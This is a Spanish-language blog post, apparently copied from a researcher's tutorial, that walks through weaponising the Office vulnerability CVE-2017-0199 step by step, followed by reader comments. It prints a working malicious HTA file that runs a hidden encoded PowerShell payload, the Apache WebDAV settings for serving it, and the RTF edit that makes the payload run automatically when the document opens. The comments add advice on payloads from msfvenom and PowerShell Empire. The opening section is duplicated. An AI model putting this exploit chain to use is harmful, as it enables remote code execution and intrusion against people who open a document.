Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…
Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.
Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.
Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:
- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE
Echémosle un vistazo a cómo llevarlo a cabo paso a paso:
Paso 1
Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.
Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.
Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:
- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE
Echémosle un vistazo a cómo llevarlo a cabo paso a paso:
Paso 1
Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="hxxp://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour
</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
End If
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</hta:application>
</head>
<div>
<object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
</object>
</div>
<body>
</body>
</html>
Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)
Llámalo "ms.rtf"
Paso 3
Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html
Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart
Luego las siguientes directivas:
- Añadir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petición PROPFIND realizada por Microsoft Office
Modifica virtualhost e incluye:
<Directory /var/www/html/ms/>
Header set Content-Type "application/rtf"
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restart
Paso 4
Crea un simple documento RTF con Winword "exploit.rtf" ¡Ese será el exploit!
Insertar -> Objeto
Después de hacer clic en Aceptar, verás el contenido del archivo "ms.rtf" con el texto,
Guarda el archivo como "exploit.rtf"
En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...
Paso 5
El siguiente paso será:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviará un tipo de contenido "application/hta" ... esto será interpretado por el cliente Winword que ejecutará mshta para manejar este tipo de contenido y ejecutar el payload
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Cambia -> application/rtf a application/hta
como:
<Directory /var/www/html/ms/>
Header set Content-Type "application/hta"
</Directory>
service apache2 restart
Paso 6
En este paso, si el usuario abre el archivo "exploit.rtf", tendrá que hacer doble clic en el objeto del enlace para lanzar el ataque ...
Si queremos que el objeto OLE se cargue automáticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:
\object\objautlink\rsltpict\objw9073\objh509(\*\
a
\object\objautlink\objupdate\rsltpict……………………..
Explotación:
Una vez que el usuario abre el documento el objeto OLE se actualiza a través del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el código!
Ya tenemos Meterpreter
No nos importa la advertencia ya que el código ya se ha ejecutado ...
Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
Me estoy volviendo loco. ¿En qué formato hay que sacar el payload para codificar en base64? ¡Llevo desde anoche probando y no soy capaz! :s
ResponderEliminarel payload más utilizado normalmente es un meterpreter generado con msfvenom. Si te quedas atascado usa el script en Python de https://github.com/bhdresh/CVE-2017-0199
EliminarEs lo que estoy intentando. Generando un meterpreter en formato exe, ps1, vbs... Todo me da un buffer enorme que no me entra entero como parámetro para powershell.exe una vez codificado en base64.
EliminarLo del script está muy bien, pero es muy lamer. Se aleja bastante del propósito de entender bien lo que estamos haciendo.
Después de mucho rallarme y darle un montón de vueltas encontré Powershell Empire como el major payload para cargar en este exploit.
EliminarUna vez que se conecta el agent de Empire conseguir persistencia, subir un meterpreter o cualquier tarea se convierte en pan comido.